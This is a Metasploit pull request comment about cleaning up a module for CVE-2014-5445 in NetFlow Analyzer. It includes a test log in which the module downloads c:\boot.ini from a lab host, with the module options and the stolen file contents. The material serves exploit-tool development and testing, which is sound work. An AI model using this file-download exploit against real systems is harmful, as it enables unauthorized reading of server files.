Clean CVE-2014-5445 module

Hello @pedrib, I'm doing minor cleanup for https://github.com/rapid7/metasploit-framework/pull/4282. Feel free to review and land once ready. I'll wait for you to add the OSVDB and FULLDISC url's and it will be ready to go!

Thanks!

Test after cleanup:

```
msf auxiliary(netflow_file_download) > reload
[*] Reloading module...
run
msf auxiliary(netflow_file_download) > run

[*] 172.16.158.138:8080 - Downloading file c:\boot.ini
[+] 172.16.158.138:8080 - File saved in: /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini
[*] Auxiliary module execution completed
msf auxiliary(netflow_file_download) > show options

Module options (auxiliary/admin/http/netflow_file_download):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   c:\boot.ini      yes       Path of the file to download (escape Windows paths with 2 back slashes)
   Proxies                     no        Use a proxy chain
   RHOST      172.16.158.138   yes       The target address
   RPORT      8080             yes       The target port
   TARGETURI  /netflow         yes       The base path to NetFlow Analyzer
   VHOST                       no        HTTP server virtual host

msf auxiliary(netflow_file_download) > cat /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini
[*] exec: cat /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
msf auxiliary(netflow_file_download) > loot

Loot
====

host            service  type          name         content                   info  path
----            -------  ----          ----         -------                   ----  ----
172.16.158.138           netflow.http  c:\boot.ini  application/octet-stream        /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini

msf auxiliary(netflow_file_download) >
```